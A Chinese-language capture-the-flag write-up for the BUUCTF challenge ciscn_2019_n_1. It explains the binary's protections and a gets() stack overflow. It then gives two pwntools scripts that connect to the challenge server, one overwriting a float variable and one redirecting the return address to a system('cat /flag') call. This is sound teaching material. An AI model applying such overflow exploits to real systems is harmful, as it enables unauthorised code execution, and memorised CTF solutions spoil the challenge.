BUUCTF-PWN-ciscn_2019_n_1
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----可能存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接
运行后发现让我们猜数字,随便写一个(这里写的是12),之后告诉我们Its value should be 11.28125,我们再次运行程序输入11.28125,还是不对,ida一下
主函数
关于setvbuf函数(定义文件流如何缓冲的)可以看一下菜鸟教程,
这里引用一下菜鸟教程的setvbuf函数
菜鸟教程setvbuf
函数声明:
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
_IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。
size --这是缓冲的大小,以字节为单位。
返回值
如果成功,则该函数返回 0,否则返回非零值。
看一下func()函数
这里需要使v2的值为11.28125
而一开始定义的v2是0.0
看到上面有个gets(&v1)函数,未限制v1的输入大小,看一下栈区
这里的var_30就是要输入的字符串v1,var_4就是v2
思路
我们可以通过gets函数覆盖var_4的值为11.28125,这里就要知道11.28125对应的16进制码是什么了。
在线进制转换
11.28125对应的16进制码是0x41348000
exp
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",26012)
payload = b'a' * (0x30 - 0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()
直接覆盖返回地址为 system(“cat /flag”)地址(0x4006BE),跳过if的判断条件,直接获得flag
exp
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",26012)
cat_flag = 0x4006BE
payload = b'a'*(0x30 + 0x8) + p64(cat_flag)
p.sendline(payload)
p.interactive()
运行获得flag